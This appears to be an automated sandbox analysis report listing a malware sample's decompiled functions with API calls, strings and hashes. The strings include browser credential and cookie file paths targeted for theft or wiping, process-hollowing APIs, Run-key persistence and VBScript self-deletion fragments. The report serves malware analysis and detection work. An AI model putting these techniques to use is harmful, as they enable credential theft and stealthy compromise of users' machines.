                                            • Opcode Fuzzy Hash: be4990bb79c05073f0fe7f4ee341d14c88f356d0bde4897ead87a4f5288e3279
                                            • Instruction Fuzzy Hash: 87518371900205ABDF10DFA5CD41ABF77B8AF19702F14047BFD04E7292E7B899488B69
                                            Function 0040C34D Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 112fileCOMMON
                                            Download Yara Rule
                                            APIs
                                            • FindFirstFileW.KERNEL32(00000000,?,\Mozilla\Firefox\Profiles\,00000000), ref: 0040C39B
                                            • FindNextFileW.KERNEL32(00000000,?), ref: 0040C46E
                                            • FindClose.KERNEL32(00000000), ref: 0040C47D
                                            • FindClose.KERNEL32(00000000), ref: 0040C4A8
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_27_2_400000_iexplore.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Find$CloseFile$FirstNext
                                            • String ID: AppData$\Mozilla\Firefox\Profiles\$\cookies.sqlite
                                            • API String ID: 1164774033-405221262
                                            • Opcode ID: 08abbb823d5645fbb38466ebfa51880db55170c7ba6cb46b2d507d1ef508ad21
                                            • Instruction ID: 975c513e22faa42ee1994afe11ceef4a5d9ff9fa3a88a4f7cb3cdca8b35e8719
                                            • Opcode Fuzzy Hash: 08abbb823d5645fbb38466ebfa51880db55170c7ba6cb46b2d507d1ef508ad21
                                            • Instruction Fuzzy Hash: 4131513150021AA6CB14E7A1DC9ADFE7778AF10718F10017FB105B20D2EF789A49CA4D
                                            Function 0041C291 Relevance: 13.6, APIs: 9, Instructions: 106fileCOMMON
                                            Download Yara Rule
                                            APIs
                                            • FindFirstFileW.KERNEL32(?,?,?,?,?,?,?,00474EE0,?), ref: 0041C2EC
                                            • FindNextFileW.KERNEL32(00000000,?,?,?,?,?,?,00474EE0,?), ref: 0041C31C
                                            • SetFileAttributesW.KERNEL32(?,00000080,?,?,?,?,?,00474EE0,?), ref: 0041C38E
                                            • DeleteFileW.KERNEL32(?,?,?,?,?,?,00474EE0,?), ref: 0041C39B
                                              • Part of subcall function 0041C291: RemoveDirectoryW.KERNEL32(?,?,?,?,?,?,00474EE0,?), ref: 0041C371
                                            • GetLastError.KERNEL32(?,?,?,?,?,00474EE0,?), ref: 0041C3BC
                                            • FindClose.KERNEL32(00000000,?,?,?,?,?,00474EE0,?), ref: 0041C3D2
                                            • RemoveDirectoryW.KERNEL32(00000000,?,?,?,?,?,00474EE0,?), ref: 0041C3D9
                                            • FindClose.KERNEL32(00000000,?,?,?,?,?,00474EE0,?), ref: 0041C3E2
                                            Memory Dump Source
                                            • Source File: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_27_2_400000_iexplore.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: FileFind$CloseDirectoryRemove$AttributesDeleteErrorFirstLastNext
                                            • String ID:
                                            • API String ID: 2341273852-0
                                            • Opcode ID: 5daa9100e03deb39a4691b7b17906df9641a5acb862147602035c05749f1dd0e
                                            • Instruction ID: c19bc5cae20e4253aafd1d57f534f4f4794eeb6ee7264df4fdb3445c687e6cd6
                                            • Opcode Fuzzy Hash: 5daa9100e03deb39a4691b7b17906df9641a5acb862147602035c05749f1dd0e
                                            • Instruction Fuzzy Hash: 1331827294031CAADB24E7A1DC88EDB736CAF04305F4405FBF955D2152EB39DAC88B68
                                            Function 00419AF5 Relevance: 12.5, APIs: 2, Strings: 5, Instructions: 245fileCOMMON
                                            Download Yara Rule
                                            APIs
                                            • FindFirstFileW.KERNEL32(00000000,?), ref: 00419D4B
                                            • FindNextFileW.KERNEL32(00000000,?,?), ref: 00419E17
                                              • Part of subcall function 0041C485: CreateFileW.KERNEL32(00000000,80000000,00000003,00000000,00000003,00000080,00000000), ref: 0041C49E
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_27_2_400000_iexplore.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: File$Find$CreateFirstNext
                                            • String ID: 8SG$PXG$PXG$NG$PG
                                            • API String ID: 341183262-3812160132
                                            • Opcode ID: bbe42075c7ae05260fcfbdefb5d4915f8db24fce95c41e285dba89f894bfd920
                                            • Instruction ID: 96038134cf9b6260143958ba34f432c8b7c7433700823f8ab46a3e18139dd1a2
                                            • Opcode Fuzzy Hash: bbe42075c7ae05260fcfbdefb5d4915f8db24fce95c41e285dba89f894bfd920
                                            • Instruction Fuzzy Hash: D48152315083415AC314FB22C856EEFB3A9AF90344F90493FF546671E2EF789A49C69A
                                            Function 004167B4 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 97libraryloadershutdownCOMMON
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 00417952: GetCurrentProcess.KERNEL32(00000028,?), ref: 0041795F
                                              • Part of subcall function 00417952: OpenProcessToken.ADVAPI32(00000000), ref: 00417966
                                              • Part of subcall function 00417952: LookupPrivilegeValueA.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 00417978
                                              • Part of subcall function 00417952: AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000), ref: 00417997
                                              • Part of subcall function 00417952: GetLastError.KERNEL32 ref: 0041799D
                                            • ExitWindowsEx.USER32(00000000,00000001), ref: 00416856
                                            • LoadLibraryA.KERNEL32(PowrProf.dll), ref: 0041686B
                                            • GetProcAddress.KERNEL32(00000000), ref: 00416872
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_27_2_400000_iexplore.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: ProcessToken$AddressAdjustCurrentErrorExitLastLibraryLoadLookupOpenPrivilegePrivilegesProcValueWindows
                                            • String ID: !D@$PowrProf.dll$SetSuspendState
                                            • API String ID: 1589313981-2876530381
                                            • Opcode ID: 518a98aa8e33dee1c4de961979bab0d7f2b6bdf321556802f5344010ded5f568
                                            • Instruction ID: 15d3ae9bc4d358b9de40311b9e813ebd0b85961e95f80c383f5c7d57e5fc9640
                                            • Opcode Fuzzy Hash: 518a98aa8e33dee1c4de961979bab0d7f2b6bdf321556802f5344010ded5f568
                                            • Instruction Fuzzy Hash: 6E21617060430256CB14FBB68856AAE63599F41788F41487FB442A72D3EF3CD845CBAE
                                            Function 0045243C Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 86COMMONLIBRARYCODE
                                            Download Yara Rule
                                            APIs
                                            • GetLocaleInfoW.KERNEL32(00000000,2000000B,00000000,00000002,00000000,?,?,?,0045275B,?,00000000), ref: 004524D5
                                            • GetLocaleInfoW.KERNEL32(00000000,20001004,00000000,00000002,00000000,?,?,?,0045275B,?,00000000), ref: 004524FE
                                            • GetACP.KERNEL32(?,?,0045275B,?,00000000), ref: 00452513
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_27_2_400000_iexplore.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: InfoLocale
                                            • String ID: ACP$OCP$['E
                                            • API String ID: 2299586839-2532616801
                                            • Opcode ID: 996ac876140471f7f335f389899e539d753f319036e5aa489baf53db5bb263cf
                                            • Instruction ID: 65f7b5195a5790e2d5819d7d4b0c6b76a8aa59636dcad79128a037cfc813d78c
                                            • Opcode Fuzzy Hash: 996ac876140471f7f335f389899e539d753f319036e5aa489baf53db5bb263cf
                                            • Instruction Fuzzy Hash: FD21F432600104A7DB348F54CF00AA773A6EB47B1AB168567EC09D7302F7BADD48C398
                                            Function 0040BA12 Relevance: 10.5, APIs: 2, Strings: 4, Instructions: 49fileCOMMON
                                            Download Yara Rule
                                            APIs
                                            • DeleteFileA.KERNEL32(00000000,\AppData\Local\Google\Chrome\User Data\Default\Login Data), ref: 0040BA4E
                                            • GetLastError.KERNEL32 ref: 0040BA58
                                            Strings
                                            • [Chrome StoredLogins not found], xrefs: 0040BA72
                                            • [Chrome StoredLogins found, cleared!], xrefs: 0040BA7E
                                            • \AppData\Local\Google\Chrome\User Data\Default\Login Data, xrefs: 0040BA19
                                            • UserProfile, xrefs: 0040BA1E
                                            Memory Dump Source
                                            • Source File: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_27_2_400000_iexplore.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: DeleteErrorFileLast
                                            • String ID: [Chrome StoredLogins found, cleared!]$[Chrome StoredLogins not found]$UserProfile$\AppData\Local\Google\Chrome\User Data\Default\Login Data
                                            • API String ID: 2018770650-1062637481
                                            • Opcode ID: 0e718a6ebf02f44b4289ad564225df6632aa7359f7d3b59aeb067c3ad082f2b5
                                            • Instruction ID: af402a2c9819bc64f7c9913ab42ffc044d60d1b3c88a69bbc3d4df1d4d30a246
                                            • Opcode Fuzzy Hash: 0e718a6ebf02f44b4289ad564225df6632aa7359f7d3b59aeb067c3ad082f2b5
                                            • Instruction Fuzzy Hash: 2D01A7B17801056AC70477B6CD5B9BE77249911704F50057FF802725E2FE7D59098ADE
                                            Function 00417952 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 33COMMON
                                            Download Yara Rule
                                            APIs
                                            • GetCurrentProcess.KERNEL32(00000028,?), ref: 0041795F
                                            • OpenProcessToken.ADVAPI32(00000000), ref: 00417966
                                            • LookupPrivilegeValueA.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 00417978
                                            • AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000), ref: 00417997
                                            • GetLastError.KERNEL32 ref: 0041799D
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_27_2_400000_iexplore.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: ProcessToken$AdjustCurrentErrorLastLookupOpenPrivilegePrivilegesValue
                                            • String ID: SeShutdownPrivilege
                                            • API String ID: 3534403312-3733053543
                                            • Opcode ID: 57e92913f0a9f4d9b3a8183d8d88438ae359a92b07d5b7f7122e8f665953110d
                                            • Instruction ID: b599e5caaba2c857c5a7044ea86e3d1b9a306509f9612008a7a3a71442eb1233
                                            • Opcode Fuzzy Hash: 57e92913f0a9f4d9b3a8183d8d88438ae359a92b07d5b7f7122e8f665953110d
                                            • Instruction Fuzzy Hash: 1EF03AB1801229FBDB109BA0EC4DEEF7FBCEF05612F100461B809A1092D7388E04CAB5
                                            Function 00409253 Relevance: 9.3, APIs: 6, Instructions: 293fileCOMMON
                                            Download Yara Rule
                                            APIs
                                            • __EH_prolog.LIBCMT ref: 00409258
                                              • Part of subcall function 004048C8: connect.WS2_32(?,?,?), ref: 004048E0
                                              • Part of subcall function 00404AA1: send.WS2_32(?,00000000,00000000,00000000), ref: 00404B36
                                            • __CxxThrowException@8.LIBVCRUNTIME ref: 004092F4
                                            • FindFirstFileW.KERNEL32(00000000,?,?,?,00000064), ref: 00409352
                                            • FindNextFileW.KERNEL32(00000000,?), ref: 004093AA
                                            • FindClose.KERNEL32(00000000), ref: 004093C1
                                              • Part of subcall function 00404E26: WaitForSingleObject.KERNEL32(?,000000FF,00000000,00474EF8,PkGNG,00000000,00474EF8,00404CA8,00000000,?,?,?,00474EF8,?), ref: 00404E38
                                              • Part of subcall function 00404E26: SetEvent.KERNEL32(?), ref: 00404E43
                                              • Part of subcall function 00404E26: CloseHandle.KERNELBASE(?), ref: 00404E4C
                                            • FindClose.KERNEL32(00000000), ref: 004095B9
                                              • Part of subcall function 00404AA1: WaitForSingleObject.KERNEL32(?,00000000,00401A45,?,?,00000004,?,?,00000004,00476B50,00474EE0,00000000), ref: 00404B47
                                              • Part of subcall function 00404AA1: SetEvent.KERNEL32(?,?,?,00000004,?,?,00000004,00476B50,00474EE0,00000000,?,?,?,?,?,00401A45), ref: 00404B75
                                            Memory Dump Source
                                            • Source File: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_27_2_400000_iexplore.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Find$Close$EventFileObjectSingleWait$Exception@8FirstH_prologHandleNextThrowconnectsend
                                            • String ID:
                                            • API String ID: 1824512719-0
                                            • Opcode ID: 27b22fca0a27779137ade02a72c9abe49e1240f26c7200fc68e50cf31d4d9716
                                            • Instruction ID: 125c9cc0036adb3739497efb01147483584b5989e706bb19fe9a4109aadf0594
                                            • Opcode Fuzzy Hash: 27b22fca0a27779137ade02a72c9abe49e1240f26c7200fc68e50cf31d4d9716
                                            • Instruction Fuzzy Hash: DCB18D32900109AACB14EBA1DD96AED7779AF04318F10417FF506B60E2EF785E49CB98
                                            Function 0040F7A7 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 88sleepCOMMON
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 00413549: RegOpenKeyExA.ADVAPI32(80000001,00000000,00000000,00020019,00000000), ref: 00413569
                                              • Part of subcall function 00413549: RegQueryValueExA.ADVAPI32 ref: 00413587
                                              • Part of subcall function 00413549: RegCloseKey.ADVAPI32(00000000), ref: 00413592
                                            • Sleep.KERNEL32(00000BB8), ref: 0040F85B
                                            • ExitProcess.KERNEL32 ref: 0040F8CA
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_27_2_400000_iexplore.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: CloseExitOpenProcessQuerySleepValue
                                            • String ID: 5.1.0 Pro$override$pth_unenc
                                            • API String ID: 2281282204-182549033
                                            • Opcode ID: 239e53c764d611775cc28217bb96d4133c4679258c828bc8db514802d76be294
                                            • Instruction ID: 07d0e0dc4205ecb16ec703249a4fc897915f305b32a2beb09604d1d6565ffe0f
                                            • Opcode Fuzzy Hash: 239e53c764d611775cc28217bb96d4133c4679258c828bc8db514802d76be294
                                            • Instruction Fuzzy Hash: F821F371B0420167C604767A485B6AE35A95B80718F90403FF505676D7FF7C8E0583EF
                                            Function 00409665 Relevance: 7.7, APIs: 5, Instructions: 222fileCOMMON
                                            Download Yara Rule
                                            APIs
                                            • __EH_prolog.LIBCMT ref: 0040966A
                                            • FindFirstFileW.KERNEL32(00000000,?,00000000,00000000,?), ref: 004096E2
                                            • FindNextFileW.KERNEL32(00000000,?), ref: 0040970B
                                            • FindClose.KERNEL32(000000FF,?,?,?,?,?,?), ref: 00409722
                                            Memory Dump Source
                                            • Source File: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_27_2_400000_iexplore.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Find$File$CloseFirstH_prologNext
                                            • String ID:
                                            • API String ID: 1157919129-0
                                            • Opcode ID: f1abb1e18261a1922addd69d7cffa3ae5e96847022b02d1b31507e848c25f0fe
                                            • Instruction ID: bc6583c976318a9931a9d4e75bf6093b5b8d8c817350453c5398c0af4fd679c1
                                            • Opcode Fuzzy Hash: f1abb1e18261a1922addd69d7cffa3ae5e96847022b02d1b31507e848c25f0fe
                                            • Instruction Fuzzy Hash: 59812B329001199BCB15EBA1DC969EDB378AF14318F10417FE506B71E2EF78AE49CB58
                                            Function 0040880C Relevance: 7.7, APIs: 5, Instructions: 186fileCOMMON
                                            Download Yara Rule
                                            APIs
                                            • __EH_prolog.LIBCMT ref: 00408811
                                            • FindFirstFileW.KERNEL32(00000000,?,00466608,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 004088CA
                                            • __CxxThrowException@8.LIBVCRUNTIME ref: 004088F2
                                            • FindNextFileW.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 004088FF
                                            • FindClose.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00408A15
                                            Memory Dump Source
                                            • Source File: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_27_2_400000_iexplore.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Find$File$CloseException@8FirstH_prologNextThrow
                                            • String ID:
                                            • API String ID: 1771804793-0
                                            • Opcode ID: 343675e76b0a0f9536e7689d5bfc322d86527155193a82fc771824cafc66db2c
                                            • Instruction ID: 1e810be39857a3d86828f92fa26e793a4655b35e172fafea17edde612d57cc14
                                            • Opcode Fuzzy Hash: 343675e76b0a0f9536e7689d5bfc322d86527155193a82fc771824cafc66db2c
                                            • Instruction Fuzzy Hash: 16515F72900209AACF04FB61DD569ED7778AF11308F50417FB946B61E2EF389B48CB99
                                            Function 0040783C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 86fileCOMMON
                                            Download Yara Rule
                                            APIs
                                            • FindFirstFileW.KERNEL32(00000000,?,?,?,00000000), ref: 00407857
                                            • FindNextFileW.KERNEL32(00000000,?,?,?,00000000), ref: 0040791F
                                              • Part of subcall function 00404AA1: send.WS2_32(?,00000000,00000000,00000000), ref: 00404B36
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_27_2_400000_iexplore.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: FileFind$FirstNextsend
                                            • String ID: XPG$XPG
                                            • API String ID: 4113138495-1962359302
                                            • Opcode ID: da2a088c2c47bfc86c5ef0d10107ac4426fe09f0bf14043eaa07d8cc52736815
                                            • Instruction ID: 6b6d716c6ecdfe6ec78918620e47e684a121d368db73a1555a51ac38f2ecb6eb
                                            • Opcode Fuzzy Hash: da2a088c2c47bfc86c5ef0d10107ac4426fe09f0bf14043eaa07d8cc52736815
                                            • Instruction Fuzzy Hash: 212195325083419BC314FB61D855DEFB3ACAF90358F40493EF696621E1EF78AA09C65B
                                            Function 004461F0 Relevance: 5.7, APIs: 2, Strings: 1, Instructions: 464COMMONLIBRARYCODE
                                            Download Yara Rule
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_27_2_400000_iexplore.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID:
                                            • String ID: PkGNG
                                            • API String ID: 0-263838557
                                            • Opcode ID: 3af37b45e0065d2a9e4b628ca9eba3ad08e75ba8402ba2670485150a8c7006c8
                                            • Instruction ID: a89a86a7c059f2ce1b75669fee0c4fca3fa64158462c9470c468cddaecc71d09
                                            • Opcode Fuzzy Hash: 3af37b45e0065d2a9e4b628ca9eba3ad08e75ba8402ba2670485150a8c7006c8
                                            • Instruction Fuzzy Hash: FB025D71E002199BEF14CFA9D8806AEBBF1FF49324F26416AD819E7344D734AE41CB85
                                            Function 004180EF Relevance: 47.5, APIs: 22, Strings: 5, Instructions: 289libraryloaderthreadCOMMON
                                            Download Yara Rule
                                            APIs
                                            • GetModuleHandleA.KERNEL32(ntdll,ZwCreateSection,00000000,00000000), ref: 00418136
                                            • GetProcAddress.KERNEL32(00000000), ref: 00418139
                                            • GetModuleHandleA.KERNEL32(ntdll,ZwMapViewOfSection), ref: 0041814A
                                            • GetProcAddress.KERNEL32(00000000), ref: 0041814D
                                            • GetModuleHandleA.KERNEL32(ntdll,ZwUnmapViewOfSection), ref: 0041815E
                                            • GetProcAddress.KERNEL32(00000000), ref: 00418161
                                            • GetModuleHandleA.KERNEL32(ntdll,ZwClose), ref: 00418172
                                            • GetProcAddress.KERNEL32(00000000), ref: 00418175
                                            • CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000004,00000000,00000000,?,?), ref: 00418217
                                            • VirtualAlloc.KERNEL32(00000000,00000004,00001000,00000004), ref: 0041822F
                                            • GetThreadContext.KERNEL32(?,00000000), ref: 00418245
                                            • ReadProcessMemory.KERNEL32(?,?,?,00000004,?), ref: 0041826B
                                            • VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 004182ED
                                            • TerminateProcess.KERNEL32(?,00000000), ref: 00418301
                                            • GetCurrentProcess.KERNEL32(?,00000000,00000000,00000000,?,00000001,00000000,00000040), ref: 00418341
                                            • WriteProcessMemory.KERNEL32(?,?,?,00000004,00000000), ref: 0041840B
                                            • SetThreadContext.KERNEL32(?,00000000), ref: 00418428
                                            • ResumeThread.KERNEL32(?), ref: 00418435
                                            • VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 0041844C
                                            • GetCurrentProcess.KERNEL32(?), ref: 00418457
                                            • TerminateProcess.KERNEL32(?,00000000), ref: 00418472
                                            • GetLastError.KERNEL32 ref: 0041847A
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_27_2_400000_iexplore.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Process$AddressHandleModuleProc$ThreadVirtual$ContextCurrentFreeMemoryTerminate$AllocCreateErrorLastReadResumeWrite
                                            • String ID: ZwClose$ZwCreateSection$ZwMapViewOfSection$ZwUnmapViewOfSection$ntdll
                                            • API String ID: 4188446516-3035715614
                                            • Opcode ID: b936ea2c1396c7360966393650c98f262233681cd2418a1eb1ae5de04f4b839e
                                            • Instruction ID: 216cb1b436b1bb1c0a39989cd20dfb1fea14fcd849b5832ba41dfff5d3f22c39
                                            • Opcode Fuzzy Hash: b936ea2c1396c7360966393650c98f262233681cd2418a1eb1ae5de04f4b839e
                                            • Instruction Fuzzy Hash: EDA16E70604305AFDB208F64CC85BAB7BE8FF48705F04482EF595D6291EB78D844CB1A
                                            Function 0040D420 Relevance: 45.8, APIs: 6, Strings: 20, Instructions: 282registryCOMMON
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 00412850: TerminateProcess.KERNEL32(00000000,?,0040D80F), ref: 00412860
                                              • Part of subcall function 00412850: WaitForSingleObject.KERNEL32(000000FF,?,0040D80F), ref: 00412873
                                            • GetModuleFileNameW.KERNEL32(00000000,?,00000208,?,?,00000000), ref: 0040D51D
                                            • RegDeleteKeyA.ADVAPI32(80000001,00000000), ref: 0040D530
                                            • SetFileAttributesW.KERNEL32(?,00000080,?,?,00000000), ref: 0040D549
                                            • SetFileAttributesW.KERNEL32(00000000,00000080,?,?,00000000), ref: 0040D579
                                              • Part of subcall function 0040B8AC: TerminateThread.KERNEL32(0040A27D,00000000,00000000,?,0040D442,?,00000000), ref: 0040B8BB
                                              • Part of subcall function 0040B8AC: UnhookWindowsHookEx.USER32 ref: 0040B8C7
                                              • Part of subcall function 0040B8AC: TerminateThread.KERNEL32(0040A267,00000000,?,0040D442,?,00000000), ref: 0040B8D5
                                              • Part of subcall function 0041C3F1: CreateFileW.KERNEL32(00000004,40000000,00000000,00000000,00000002,00000080,00000000), ref: 0041C430
                                            • ShellExecuteW.SHELL32(00000000,open,00000000,00466468,00466468,00000000), ref: 0040D7C4
                                            • ExitProcess.KERNEL32 ref: 0040D7D0
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_27_2_400000_iexplore.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: File$Terminate$AttributesProcessThread$CreateDeleteExecuteExitHookModuleNameObjectShellSingleUnhookWaitWindows
                                            • String ID: """, 0$")$0qF$0qF$8SG$CreateObject("WScript.Shell").Run "cmd /c ""$On Error Resume Next$Set fso = CreateObject("Scripting.FileSystemObject")$Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\$Software\Microsoft\Windows\CurrentVersion\Run\$Temp$\update.vbs$dMG$exepath$fso.DeleteFile "$fso.DeleteFile(Wscript.ScriptFullName)$fso.DeleteFolder "$open$wend$while fso.FileExists("
                                            • API String ID: 1861856835-332907002
                                            • Opcode ID: 4ed5f5d5e7ff342ec2a336c57b1c01b382e2bcaa191396cb8c86ed758bd95090
                                            • Instruction ID: f0dedf37b1d13a6a68a2ae87fd6fc042f686ba0b246118386f774540a9e6bc24
                                            • Opcode Fuzzy Hash: 4ed5f5d5e7ff342ec2a336c57b1c01b382e2bcaa191396cb8c86ed758bd95090
                                            • Instruction Fuzzy Hash: 2191A4716082005AC315FB62D8529AFB7A9AF91309F10443FB14AA71E3FF7C9D49C65E
                                            Function 0040D096 Relevance: 42.3, APIs: 6, Strings: 18, Instructions: 260registryCOMMON
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 00412850: TerminateProcess.KERNEL32(00000000,?,0040D80F), ref: 00412860
                                              • Part of subcall function 00412850: WaitForSingleObject.KERNEL32(000000FF,?,0040D80F), ref: 00412873
                                            • GetModuleFileNameW.KERNEL32(00000000,?,00000208,?,?,?,?,?,004752F0,?,pth_unenc), ref: 0040D1A5
                                            • RegDeleteKeyA.ADVAPI32(80000001,00000000), ref: 0040D1B8
                                            • SetFileAttributesW.KERNEL32(00000000,00000080,?,?,?,?,?,004752F0,?,pth_unenc), ref: 0040D1E8
                                            • SetFileAttributesW.KERNEL32(?,00000080,?,?,?,?,?,004752F0,?,pth_unenc), ref: 0040D1F7
                                              • Part of subcall function 0040B8AC: TerminateThread.KERNEL32(0040A27D,00000000,00000000,?,0040D442,?,00000000), ref: 0040B8BB
                                              • Part of subcall function 0040B8AC: UnhookWindowsHookEx.USER32 ref: 0040B8C7
                                              • Part of subcall function 0040B8AC: TerminateThread.KERNEL32(0040A267,00000000,?,0040D442,?,00000000), ref: 0040B8D5
                                              • Part of subcall function 0041B978: GetCurrentProcessId.KERNEL32(00000000,?,?,?,?,?,?,0040407C), ref: 0041B99F
                                            • ShellExecuteW.SHELL32(00000000,open,00000000,00466468,00466468,00000000), ref: 0040D412
                                            • ExitProcess.KERNEL32 ref: 0040D419
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_27_2_400000_iexplore.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: FileProcessTerminate$AttributesThread$CurrentDeleteExecuteExitHookModuleNameObjectShellSingleUnhookWaitWindows
                                            • String ID: ")$.vbs$8SG$On Error Resume Next$Set fso = CreateObject("Scripting.FileSystemObject")$Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\$Software\Microsoft\Windows\CurrentVersion\Run\$Temp$dMG$exepath$fso.DeleteFile "$fso.DeleteFile(Wscript.ScriptFullName)$fso.DeleteFolder "$hpF$open$pth_unenc$wend$while fso.FileExists("
                                            • API String ID: 3797177996-2557013105
                                            • Opcode ID: d286f588f5818cca07a6e4c27455efb45431ebdc6a01d8eb82299511fc22b521
                                            • Instruction ID: d7bb7cf55c4450259501d0c3086a2d123ad94ece798773e978a9ab54bd012bbb
                                            • Opcode Fuzzy Hash: d286f588f5818cca07a6e4c27455efb45431ebdc6a01d8eb82299511fc22b521
                                            • Instruction Fuzzy Hash: 9081B0716082005BC715FB62D8529AF77A8AFD1308F10483FB586A71E2EF7C9E49C65E
                                            Function 00412475 Relevance: 40.4, APIs: 17, Strings: 6, Instructions: 190synchronizationsleepfileCOMMON
                                            Download Yara Rule
                                            APIs
                                            • CreateMutexA.KERNEL32(00000000,00000001,00000000,00000000,004750E4,00000003), ref: 00412494
                                            • ExitProcess.KERNEL32(00000000), ref: 004124A0
                                            • CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000), ref: 0041251A
                                            • OpenProcess.KERNEL32(00100000,00000000,00000000), ref: 00412529
                                            • WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 00412534
                                            • CloseHandle.KERNEL32(00000000), ref: 0041253B
                                            • GetCurrentProcessId.KERNEL32 ref: 00412541
                                            • PathFileExistsW.SHLWAPI(?), ref: 00412572
                                            • GetTempPathW.KERNEL32(00000104,?), ref: 004125D5
                                            • GetTempFileNameW.KERNEL32(?,temp_,00000000,?), ref: 004125EF
                                            • lstrcatW.KERNEL32 ref: 00412601
                                              • Part of subcall function 0041C3F1: CreateFileW.KERNEL32(00000004,40000000,00000000,00000000,00000002,00000080,00000000), ref: 0041C430
                                            • ShellExecuteW.SHELL32(00000000,open,?,00000000,00000000,00000001), ref: 00412641
                                            • Sleep.KERNEL32(000001F4), ref: 00412682
